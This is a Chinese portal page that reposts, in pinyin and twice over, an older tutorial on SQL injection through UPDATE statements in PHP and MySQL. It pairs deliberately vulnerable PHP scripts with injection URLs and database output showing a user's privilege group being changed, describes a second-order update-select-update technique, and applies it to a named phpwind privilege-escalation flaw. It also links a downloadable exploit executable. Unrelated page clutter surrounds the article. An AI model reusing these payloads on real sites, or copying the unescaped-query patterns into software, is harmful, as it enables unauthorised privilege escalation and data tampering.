| 订阅 | 在线投稿
分享
 
 
当前位置: 王朝网络 >> mysql >> UPDATE zhu she (mysql+php) de liang ge mo shi

UPDATE zhu she (mysql+php) de liang ge mo shi

2008-12-22 08:10:39 编辑來源:互联网 评论
 
 
 
本文为【UPDATE注射(mysql+php)的两个模式】的拼音翻译版
  ben wen zuo zhe :SuperHei
  wen zhang xing zhi : yuan chuang
  fa bu ri qi :2005-08-14
  yi 、 ce shi huan jing wang guan xia zai dl.bitscn.com
  OS: Windowsxp sp2
  php: php 4.3.10
  mysql 4.1.9
  apache 1.3.33
  er 、 ce shi shu ju ku jie gou
  -- shu ju ku : `test`
  --
  -- --------------------------------------------------------
  --
  -- biao de jie gou `userinfo`
  -- wang guan wang www_bitscn_com
  CREATE TABLE `userinfo` (
  `groudid` varchar(12) NOT NULL default '1',
  `user` varchar(12) NOT NULL default 'heige',
  `pass` varchar(122) NOT NULL default '123456'
  ) TYPE=MyISAM; wang guan u jia u.bitsCN.com
  --
  -- dao chu biao zhong de shu ju `userinfo`
  --
  INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')
  san 、 ce shi mo shi
  1、 bian liang mei you dai '' huo "" zhong guo wang guan lian meng bitsCN.com
  <?php
  //test1.php Mod1
  $servername = "localhost";
  $dbusername = "root";
  $dbpassword = "";
  $dbname = "test";
  mysql_connect($servername,$dbusername,$dbpassword) or die (" shu ju ku lian jie shi bai "); zhong guo wang guan lun tan bbs.bitsCN.com
  $sql = "update userinfo set pass=$p where user='heige'";//<--$P mei you shi yong dan yin hao
  $result = mysql_db_query($dbname, $sql);
  $userinfo = mysql_fetch_array($result); zhong guo wang guan lun tan bbs.bitsCN.com
  echo "<p>SQL Query:$sql<p>";
  ?>
  jiao ben li zhi shi xiu gai user='heige' de pass, ru guo groudid biao shi yong hu de quan xian deng ji , wo men de mu de jiu shi tong guo gou zao $p lai da dao xiu gai groupid de mu de , na me wo men ti jiao :
http://127.0.0.1/test1.php?p=123456,groudid=1
  zai mysql li cha xun :
  mysql> select * from userinfo;
  +---------+-------+--------+
  | groudid | user | pass |
  +---------+-------+--------+
  | 1 | heige | 123456 |
  +---------+-------+--------+
  1 row in set (0.01 sec)
  yong hu heige de groudid you 2 gai wei 1 le :)
  suo yi wo men ke yi de dao mei you '' huo ""update de zhu she shi ke yi cheng gong de , zhe ge jiu shi wo men de mo shi 1。
  2、 bian liang dai '' huo ""
  <?php
  //test2.php
  $servername = "localhost";
  $dbusername = "root";
  $dbpassword = "";
  $dbname = "test";
  mysql_connect($servername,$dbusername,$dbpassword) or die (" shu ju ku lian jie shi bai ");
  $sql = "update userinfo set pass='$p' where user='heige'";//<--$P shi yong dan yin hao zhong guo wang guan lun tan bbs.bitsCN.com
  $result = mysql_db_query($dbname, $sql);
  $userinfo = mysql_fetch_array($result); wang guan lun tan bbs_bitsCN_com
  echo "<p>SQL Query:$sql<p>";
  ?>
  wei le guan bi ' wo men gou zao $p ying gai wei 123456',groudid='2 ti jiao : zhong guo wang guan lun tan bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1
  zai gpc=on de qing kuang xia ' bian cheng le \', ti jiao de yu ju bian cheng :
  SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige'
  mysql cha xun :
  mysql> select * from userinfo;
  +---------+-------+--------------------+
  | groudid | user | pass |
  +---------+-------+--------------------+
  | 2 | heige | 123456',groudid='1 |
  +---------+-------+--------------------+
  1 row in set (0.00 sec) wang guan bitscn_com
  groudid bing mei you bei xiu gai 。 na me zai bian liang bei '' huo "" shi jiu wan quan mei you bei zhu she ne ? bu shi xia mian wo men kan mo shi 2:
  <?php
  //test3.php Mod2
  $servername = "localhost";
  $dbusername = "root";
  $dbpassword = "";
  $dbname = "test";
  mysql_connect($servername,$dbusername,$dbpassword) or die (" shu ju ku lian jie shi bai ");
  $sql = "update userinfo set pass='$p' where user='heige'";//<--$P shi yong dan yin hao wang guan u jia u.bitscn@com
  $result = mysql_db_query($dbname, $sql);
  mysql_fetch_array($result); //$p de shu ju xie ru shu ju ku
  $sql= "select pass from userinfo where user='heige'";
  $result = mysql_db_query($dbname, $sql);
  $userinfo=mysql_fetch_array($result);
  echo $userinfo[0]; // ba pass cha xun shu chu gei $userinfo[0]
  $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";
  $result = mysql_db_query($dbname, $sql);
  mysql_fetch_array($result); // ba $userinfo[0] zai ci update zhong guo wang guan lian meng bitsCN.com
  ?>
  wo men ce shi xia , ti jiao : wang guan bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
  hui mysql cha xun xia : wang guan lun tan bbs_bitsCN_com
  mysql> select * from userinfo;
  +---------+-------+--------+
  | groudid | user | pass |
  +---------+-------+--------+
  | 1 | heige | 123456 |
  +---------+-------+--------+
  1 row in set (0.00 sec)
  HaHa~~ cheng gong zhu she xiu gai groudid wei 1。 zhe ge jiu shi wo men de mo shi 2 le , jian dan de miao xu ru xia :
  update --> select --> update
  si 、 shi ji mo shi
  mo shi 1: que
  mo shi 2:phpwind 2.0.2 he 3.31e quan xian ti sheng lou dong
  lou dong fen xi
  update (profile.php zhu she bian liang wei $proicon update yu ju li wei ,icon='$userdb[icon]')
  ↓
  select (jop.php)
  ↓
  updtate (jop.php) wang guan lun tan bbs_bitsCN_com
  Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe
  wu 、 ming xie
  te bie gan xie saiy deng peng you de tao lun he bang zhu 。Thanks!!【原文】【汉音对照
 
 
 
 
 
 
 
 
 
日版宠物情人插曲《Winding Road》歌词

日版宠物情人2017的插曲,很带节奏感,日语的,女生唱的。 最后听见是在第8集的时候女主手割伤了,然后男主用嘴帮她吸了一下,插曲就出来了。 歌手:Def...

兄弟共妻,我成了他们夜里的美食

老钟家的两个儿子很特别,就是跟其他的人不太一样,魔一般的执着。兄弟俩都到了要结婚的年龄了,不管自家老爹怎么磨破嘴皮子,兄弟俩说不娶就不娶,老父母为兄弟两操碎了心...

如何磨出破洞牛仔裤?牛仔裤怎么剪破洞?

把牛仔裤磨出有线的破洞 1、具体工具就是磨脚石,下面垫一个硬物,然后用磨脚石一直磨一直磨,到把那块磨薄了,用手撕开就好了。出来的洞啊很自然的。需要猫须的话调几...

我就是扫描下图得到了敬业福和爱国福

先来看下敬业福和爱国福 今年春节,支付宝再次推出了“五福红包”活动,表示要“把欠大家的敬业福都还给大家”。 今天该活动正式启动,和去年一样,需要收集“五福”...

冰箱异味产生的原因和臭味去除的方法

有时候我们打开冰箱就会闻到一股异味,冰箱里的这种异味是因为一些物质发出的气味的混合体,闻起来让人恶心。 产生这些异味的主要原因有以下几点。 1、很多人有这种习...

 
 
ben wen zuo zhe :SuperHei wen zhang xing zhi : yuan chuang fa bu ri qi :2005-08-14 yi 、 ce shi huan jing wang guan xia zai dl.bitscn.com OS: Windowsxp sp2 php: php 4.3.10 mysql 4.1.9 apache 1.3.33 er 、 ce shi shu ju ku jie gou -- shu ju ku : `test` -- -- -------------------------------------------------------- -- -- biao de jie gou `userinfo` -- wang guan wang www_bitscn_com CREATE TABLE `userinfo` ( `groudid` varchar(12) NOT NULL default '1', `user` varchar(12) NOT NULL default 'heige', `pass` varchar(122) NOT NULL default '123456' ) TYPE=MyISAM; wang guan u jia u.bitsCN.com -- -- dao chu biao zhong de shu ju `userinfo` -- INSERT INTO `userinfo` VALUES ('2', 'heige', '123456') san 、 ce shi mo shi 1、 bian liang mei you dai '' huo "" zhong guo wang guan lian meng bitsCN.com <?php //test1.php Mod1 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die (" shu ju ku lian jie shi bai "); zhong guo wang guan lun tan bbs.bitsCN.com $sql = "update userinfo set pass=$p where user='heige'";//<--$P mei you shi yong dan yin hao $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); zhong guo wang guan lun tan bbs.bitsCN.com echo "<p>SQL Query:$sql<p>"; ?> jiao ben li zhi shi xiu gai user='heige' de pass, ru guo groudid biao shi yong hu de quan xian deng ji , wo men de mu de jiu shi tong guo gou zao $p lai da dao xiu gai groupid de mu de , na me wo men ti jiao : [url=http://127.0.0.1/test1.php?p=123456,groudid=1]http://127.0.0.1/test1.php?p=123456,groudid=1[/url] zai mysql li cha xun : mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.01 sec) yong hu heige de groudid you 2 gai wei 1 le :) suo yi wo men ke yi de dao mei you '' huo ""update de zhu she shi ke yi cheng gong de , zhe ge jiu shi wo men de mo shi 1。 2、 bian liang dai '' huo "" <?php //test2.php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die (" shu ju ku lian jie shi bai "); $sql = "update userinfo set pass='$p' where user='heige'";//<--$P shi yong dan yin hao zhong guo wang guan lun tan bbs.bitsCN.com $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); wang guan lun tan bbs_bitsCN_com echo "<p>SQL Query:$sql<p>"; ?> wei le guan bi ' wo men gou zao $p ying gai wei 123456',groudid='2 ti jiao : zhong guo wang guan lun tan bbs.bitsCN.com [url=http://127.0.0.1/test2.php?p=123456]http://127.0.0.1/test2.php?p=123456',groudid='1[/url] zai gpc=on de qing kuang xia ' bian cheng le \', ti jiao de yu ju bian cheng : SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige' mysql cha xun : mysql> select * from userinfo; +---------+-------+--------------------+ | groudid | user | pass | +---------+-------+--------------------+ | 2 | heige | 123456',groudid='1 | +---------+-------+--------------------+ 1 row in set (0.00 sec) wang guan bitscn_com groudid bing mei you bei xiu gai 。 na me zai bian liang bei '' huo "" shi jiu wan quan mei you bei zhu she ne ? bu shi xia mian wo men kan mo shi 2: <?php //test3.php Mod2 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die (" shu ju ku lian jie shi bai "); $sql = "update userinfo set pass='$p' where user='heige'";//<--$P shi yong dan yin hao wang guan u jia [url=mailto:u.bitscn@com]u.bitscn@com[/url] $result = mysql_db_query($dbname, $sql); mysql_fetch_array($result); //$p de shu ju xie ru shu ju ku $sql= "select pass from userinfo where user='heige'"; $result = mysql_db_query($dbname, $sql); $userinfo=mysql_fetch_array($result); echo $userinfo[0]; // ba pass cha xun shu chu gei $userinfo[0] $sql ="update userinfo set pass='$userinfo[0]' where user='heige'"; $result = mysql_db_query($dbname, $sql); mysql_fetch_array($result); // ba $userinfo[0] zai ci update zhong guo wang guan lian meng bitsCN.com ?> wo men ce shi xia , ti jiao : wang guan bitscn_com [url=http://127.0.0.1/test3.php?p=123456]http://127.0.0.1/test3.php?p=123456',groudid='1[/url] hui mysql cha xun xia : wang guan lun tan bbs_bitsCN_com mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.00 sec) HaHa~~ cheng gong zhu she xiu gai groudid wei 1。 zhe ge jiu shi wo men de mo shi 2 le , jian dan de miao xu ru xia : update --> select --> update si 、 shi ji mo shi mo shi 1: que mo shi 2:phpwind 2.0.2 he 3.31e quan xian ti sheng lou dong lou dong fen xi update (profile.php zhu she bian liang wei $proicon update yu ju li wei ,icon='$userdb[icon]') ↓ select (jop.php) ↓ updtate (jop.php) wang guan lun tan bbs_bitsCN_com Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe wu 、 ming xie te bie gan xie saiy deng peng you de tao lun he bang zhu 。Thanks!!
󰈣󰈤
  免责声明:本文仅代表作者个人观点,与王朝网络无关。王朝网络登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述,其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
时尚秀气模特裴裴(8)
时尚秀气模特裴裴(7)
时尚秀气模特裴裴(6)
时尚秀气模特裴裴(5)
白墙黑瓦
广州东郊[原创]
八美至丹巴的东谷天然盆景
不一样的
 
>>返回首页<<
 
 
 为你推荐
 
 
 
 转载本文
 UBB代码 HTML代码
复制到剪贴板...
 
 热帖排行
 
 
 
 
 
©2005- 王朝网络 版权所有